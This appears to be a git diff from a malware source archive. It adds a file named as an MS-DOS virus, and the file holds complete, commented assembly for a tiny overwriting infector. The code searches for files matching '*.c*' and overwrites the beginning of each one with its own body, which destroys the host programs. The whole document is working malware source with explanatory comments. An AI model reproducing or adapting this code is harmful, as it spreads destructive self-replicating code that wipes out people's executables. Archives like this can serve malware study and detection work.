re-organize

push

MSDOS/M-Index/Virus.MSDOS.Unknown.mini-42b.asm

@@ -0,0 +1,42 @@
+.model tiny                         ;Sets memory model for TASM
+.radix 16                           ;Sets default number system to hexidecimal (base 16)
+.code                               ;starts code section
+
+	org 100                     ;makes program begin at 100h, i.e. a .COM file
+
+start:                              ;beginning label
+
+	mov     ah,4e               ;set ah to 4e, sets function called by int 21
+				    ;to find first match
+	mov     dx,offset file_mask ;sets search to look for *.com
+
+ search:
+	int     21                  ;executes find first match function
+	jc      quit                ;if there aren't any files, ends
+
+
+	mov     ax,3d02             ;open file read/write mode
+	mov     dx,9e               ;pointer to name found by findfirst
+	int     21
+
+	xchg    ax,bx               ;moves file handle to bx from ax
+	mov     ah,40               ;sets ah to write to file function
+	mov     cl,[ender-start]    ;overwrites file
+	mov     dx,100              ;starting address for coms, write from
+	int     21                  ;beginning of virus
+
+
+	mov     ah,3e
+	int     21                  ;closes file handle
+
+	mov     ah,4f
+	jmp     short search        ;jumps back set to find next
+
+	quit:
+	int     20                  ;ends program
+
+file_mask db    '*.c*',0           ;file mask to match to programs
+
+ender:                              ;label for size calculation
+
+end start                           ;end of code